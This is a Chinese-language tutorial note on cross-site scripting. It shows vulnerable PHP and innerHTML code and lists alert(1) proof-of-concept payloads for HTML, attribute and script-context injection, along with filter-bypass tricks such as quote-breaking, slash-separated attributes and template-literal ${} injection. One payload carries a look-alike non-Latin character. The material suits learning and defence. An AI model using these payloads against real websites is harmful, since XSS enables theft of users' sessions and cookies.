1.XSS代表著攻击者可以在其他人的网站上面执行JavaScript 程序

了解

XSS（Cross-site scripting） 就代表著攻击者可以在其他人的网站上面执行JavaScript 程序。

<?php
 echo "Hello, " . $_GET['name'];
?>

如果访问的是 index.php?name=<script>alert(1)</script> 呢？输出的内容就会变成：Hello，<script>alert(1)</script>
<script>标签里的内容将被视为JavaScript代码来执行，屏幕上会弹出一个提示窗口，这意味着可以在其他人的网站中执行JavaScript代码。

<div>
  Hello, <span id="name"></span>
</div>
<script>
  const qs = new URLSearchParams(window.location.search)
  const name = qs.get('name')
  document.querySelector('#name').innerHTML = name
</script>

通过index.html?name=<script>alert(1)</script>的方式可以插入任何我们想要的内容，但这次是通过前端使用innerHTML的方式将我们的 payload 添加到页面上。
两者之间的区别在于前面的例子实际上不会触发alert，原因是在使用innerHTML时，插入的<script>标签没有效果，因此攻击者必须调整XSS payload才能执行代码。

• localStorage :
• Cookie：cookieStore API / document.cookie /fetch()与其他api交互

执行js的方式

1. <script>alert(1)</script>
2. Inline event handle 在HTML元素中内联（内嵌）的事件处理程序
   1. <img src="not_exist" onerror="alert(1)">
   2. <button onclick="alert(1)">拜託點我</button>
   3. <svg onload="alert(1)">
   4. <svg/onload=alert(1)>
      1. html属性中"非必要，没有空格就可以拿掉
      2. 标签跟属性间的空格可以用/替代
3. <a href=javascript:void(0)>Link</a>

常用的event handler

1. onerror
2. onload
3. onfocus
4. onblur
5. onanimationend
6. onclick
7. onmouseenter

常见情景

注入html

直接給你一塊空白的 HTML 讓你去操作，因此可以直接寫入任何想要的元素

<?php
 echo "Hello, <h1>" . $_GET['name'] . '</h1>';
?>

<div>
  Hello, <span id="name"></span>
</div>
<script>
  const qs = new URLSearchParams(window.location.search)
  const name = qs.get('name')
  document.querySelector('#name').innerHTML = name
</script>

<script>alert(1)</script>

防御

把使用者輸入中的 < 跟 > 全部取代掉，它就沒有辦法插入新的 HTML 標籤，就沒辦法做到任何事情。

注入属性

<div id="content"></div>
<script>
  const qs = new URLSearchParams(window.location.search)
  const clazz = qs.get('clazz')
  document.querySelector('#content').innerHTML = `
    <div class="${clazz}">
      Demo
    </div>
  `
</script>

輸入的內容是做為某個屬性的值，被包在屬性裡面的：
我们可以使用"<script>alert(1)</script>来闭合标签，再插入js语句

<div class=""><script>alert(1)</script>  
Demo  
</div>

<>被过滤

" tabindex=1 onfocus="alert(1)" x="
闭合”后使用event handler

<div class="" tabindex=1 onfocus="alert(1)" x="">
  Demo
</div>

' " 被过滤

通过空格和/新增属性

document.querySelector('#content').innerHTML = `
  <div class=${clazz}>
    Demo
  </div>

payload:
/onclick=alert(1)

<div class=12 / οnclick=alert(1)>
  Demo
</div>

注入javascript

<script>
  const name = "<?php echo $_GET['name'] ?>";
  alert(name);
</script>

"过滤

</script> 闭合标签，再注入其他标签

``<>"'`过滤

如果在輸入裡面加一個空行，就會因為換行導致整段程式碼無法執行，出現 SyntaxError

<script>
  const name = `
    Hello,
    <?php echo $_GET['name'] ?>
  `;
  alert(name);
</script>

此时可以用${alert(1)} 的方式來注入 JavaScript 程式

参考链接

1. https://web.archive.org/web/20100723152801/http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx
2. https://owasp.org/www-pdf-archive/OWASP-AppSecEU08-Dabirsiaghi.pdf
3. https://github.com/mandatoryprogrammer/xsshunter-express
4. https://hackerone.com/reports/948929
5. Cross-site scripting (XSS) cheat sheet